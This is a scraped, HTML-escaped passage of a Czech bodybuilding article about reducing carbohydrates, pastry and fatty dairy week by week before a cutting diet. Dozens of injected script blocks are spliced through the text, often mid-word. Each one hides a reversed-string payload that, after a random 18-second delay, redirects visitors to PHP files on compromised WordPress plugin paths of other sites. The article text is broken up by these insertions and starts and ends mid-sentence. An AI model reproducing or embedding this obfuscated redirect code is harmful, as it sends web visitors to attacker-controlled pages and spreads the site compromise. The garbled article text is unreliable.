$Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pojmem p\u0159edstavit? V\u00a0podstat\u011b jakoukoliv porci, kdy nehl\u00edd\u00e1te slo\u017een\u00ed a mno\u017estv\u00ed.<\/li>\n<li>Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f zhruba o t\u0159etinu v\u00a0porovn\u00e1n\u00ed se zimn\u00edm obdob\u00edm.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li><strong>T\u00ddDEN<\/strong><\/li>\n<\/ol>\n<ul>\n<li>Nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed pokrmy m\u00e1te mo\u017enost za\u0159adit jen t\u0159i do t\u00fddne.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ol start=\"4\">\n<li><strong>\u2013 6. T\u00ddDEN<\/strong><\/li>\n<\/ol>\n<ul>\n<li>Posledn\u00ed dv\u011b porce dne upravte tak, aby neobsahovaly komplexn\u00ed sacharidy.<\/li>\n<li>Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f o polovinu v\u00a0porovn\u00e1n\u00ed se zimn\u00edm obdob\u00edm.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><strong>7.T\u00ddDEN<\/strong><\/p>\n<ul>\n<li>Nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed pokrmy za\u0159azujte maxim\u00e1ln\u011b dvakr\u00e1t t\u00fddn\u011b.<\/li>\n<li>Omezte mno\u017estv\u00ed konzumovan\u00e9ho pe\u010diva a tu\u010dn\u00fdch ml\u00e9\u010dn\u00fdch v\u00fdrobk\u016f na t\u0159etinu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, co jste jedli b\u011bhem zimy.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ol start=\"8\">\n<li><strong> T\u00ddDEN<\/strong><\/li>\n<\/ol>\n<ul>\n<li>V\u00a0pr\u016fb\u011bhu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to t\u00fddne m\u00e1te st\u00e1le povoleny dva nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed pokrmy.<\/li>\n<li>Posledn\u00ed t\u0159i porce dne upravte tak, aby neobsahovaly komplexn\u00ed sacharidy. Ide\u00e1ln\u011b by dv\u011b porce obsahuj\u00edc\u00ed sacharidy m\u011bly vych\u00e1zet na dobu p\u0159ed a po tr\u00e9ninku.<\/li>\n<li>Pe\u010divo a tu\u010dn\u00e9 ml\u00e9\u010dn\u00e9 v\u00fdrobky bu\u010f z\u00a0j\u00eddeln\u00ed\u010dku zcela vy\u0159a\u010fte nebo omezte na dv\u011b porce t\u00fddn\u011b.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-456 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web14-300x218.jpg\" alt=\"\" width=\"365\" height=\"265\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web14-300x218.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web14-768x557.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web14.jpg 800w\" sizes=\"auto, (max-width: 365px) 100vw, 365px\" \/>Jakmile projdete <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dvoum\u011bs\u00ed\u010dn\u00ed f\u00e1z\u00ed ofici\u00e1ln\u011b pro v\u00e1s za\u010d\u00edn\u00e1 r\u00fdsovac\u00ed dieta. Pak byste m\u011bli komplexn\u00ed sacharidy p\u0159id\u00e1vat maxim\u00e1ln\u011b ke t\u0159em porc\u00edm j\u00eddla denn\u011b, i kdy\u017e je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to samoz\u0159ejm\u011b jen velmi obecn\u00e9 doporu\u010den\u00ed a m\u011bli byste se \u0159\u00eddit reakcemi sv\u00e9ho t\u011bla. Jsou spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kte\u0159\u00ed kvalitn\u011b vyr\u00fdsuj\u00ed, i kdy\u017e konzumuj\u00ed pom\u011brn\u011b dost komplexn\u00edch sacharid\u016f, zat\u00edmco jin\u00ed mus\u00ed jejich mno\u017estv\u00ed drasticky omezit. St\u00e1le plat\u00ed, \u017ee t\u011blo ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u017eiviny nejl\u00e9pe zpracuje v\u00a0dob\u011b p\u0159ed a po tr\u00e9ninku. Hodn\u011b z\u00e1le\u017e\u00ed na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, kdy cvi\u010d\u00edte. Pokud ve\u010der, nevyhnete se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, abyste konzumovali sacharidy ve ve\u010dern\u00edch hodin\u00e1ch. Ti, co cvi\u010d\u00ed dopoledne nebo po ob\u011bd\u011b, mohou dodr\u017eet pravidlo eliminace sacharid\u016f v\u00a0posledn\u00edch porc\u00edch dan\u00e9ho dne. V\u00a0pr\u016fb\u011bhu r\u00fdsovac\u00edho j\u00eddeln\u00ed\u010dku plat\u00ed, \u017ee byste m\u011bli vysta\u010dit jen s\u00a0jednou porc\u00ed nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edho (v tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chv\u00edli u\u017e \u201enedietn\u00edho\u201c) j\u00eddla t\u00fddn\u011b. Pe\u010divo a tu\u010dn\u00e9 ml\u00e9\u010dn\u00e9 v\u00fdrobky u\u017e v\u00a0rozpise j\u00eddeln\u00ed\u010dku svoje m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nemaj\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>N\u00c1VRAT KE KARDIO AKTIVIT\u00c1M<\/strong><\/p>\n<p>Nen\u00ed mnoho silov\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if 